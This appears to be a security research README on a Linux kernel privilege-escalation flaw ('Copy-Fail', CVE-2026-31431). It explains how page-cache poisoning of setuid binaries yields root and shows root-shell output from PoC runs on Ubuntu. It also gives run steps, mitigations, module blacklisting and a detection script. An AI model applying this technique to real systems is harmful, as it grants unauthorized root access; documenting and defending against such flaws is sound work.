Linux Copy-Fail Analysis (CVE-2026-31431) 🛡️

This repository contains an in-depth analysis, Proof-of-Concept (PoC), and laboratory test results for the CVE-2026-31431 vulnerability, popularly known as "Copy-Fail".

Copy-Fail exploits a logic flaw in the Linux Kernel’s Crypto API (AF_ALG) combined with the splice() system call. It allows an unprivileged local attacker to perform Page Cache Poisoning, leading to Local Privilege Escalation (LPE).

🧠 Technical Overview: Page Cache Poisoning

Unlike traditional exploits that modify files on the disk, Copy-Fail targets the Page Cache (RAM) directly. When a file is read, the kernel stores a copy in RAM to enhance performance. Due to a memory management bug in the authenc algorithm on specific kernel versions, an attacker can trick the kernel into overwriting these "read-only" memory pages.

By poisoning the memory pages of SETUID binaries like /usr/bin/su, it is possible to bypass authentication and spawn a root shell.

🧪 Lab Environments and Test Results

Tests were conducted across multiple Ubuntu distributions, specifically examining the impact of kernel backporting and patch management.

The Backport Paradox

Kernel version numbers can be misleading. While "newer" kernels like 6.8 are protected through security patches, older or EOL (End of Life) kernels like 4.15 and 5.15 remained fully vulnerable due to missing backported fixes.

📊 Ubuntu 22.04 (Kernel 5.15) Comparative Analysis

During the research, a striking result was obtained by testing two different Ubuntu 22.04 systems sharing the same major kernel version:

Analysis:

This test proves that system security cannot be measured solely by the major version number. A server running 5.15.0-125 can be rooted in seconds, whereas 5.15.0-170 completely blocks the attack.

Successful Exploitation Output (Kernel 5.15.0-125):

$ python3 ubuntu_22.04_copy_fail_exploit.py 
[*] Poisoning /usr/bin/su (Ubuntu 22.04 / Kernel 5.15)...
[+] Exploit completed. Triggering Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#

🛠️ Proof of Concept (PoC)

The PoC was developed using ctypes to ensure compatibility across different Python versions (specifically for versions lacking native os.splice support).

Key Features:

• Low-level libc.splice calls via ctypes.
• Forced caching of the target binary.
• Demonstration of lateral impact (poisoning by one user affects all users).

Running the Exploit:

1.Load the required crypto modules:

sudo modprobe af_alg algif_aead authenc echainiv

2.Execute the exploit:

python3 final_exploit.py

🎥 Demonstrasyon

$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su zehirleniyor (Kernel 4.15)...
[+] Bellek zehirlendi! Root tetikleniyor...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#

🛡️ Mitigation and Prevention

• 1. The Definitive Solution: Kernel Update

• sudo apt update && sudo apt upgrade -y
• sudo reboot

2. Emergency Response: Flushing the Cache

• Bellekteki zehirli sayfaları temizlemek için

sync; echo 3 | sudo tee /proc/sys/vm/drop_caches

3. Proactive Defense: Blacklisting Modules

• echo "blacklist authenc" | sudo tee /etc/modprobe.d/blacklist-authenc.conf
• echo "blacklist algif_aead" | sudo tee -a /etc/modprobe.d/blacklist-authenc.conf
• sudo depmod -a

🛡️ Vulnerability Detection Script

# 1. Check Kernel version
# uname -r

# 2. Check loaded modules (Safe if no output)
# lsmod | grep -E "algif_aead|authencesn"

# 3. Critical Test — authencesn bind
python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('[!] CRITICAL — System Vulnerable!')
    s.close()
except:
    print('[+] Secure — authencesn unreachable')
"

# 4. setuid binary hash (referans)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd

Assessment Table:

Disclaimer: This research and PoC are for educational and authorized security testing purposes only. Usage on unauthorized systems may result in legal consequences..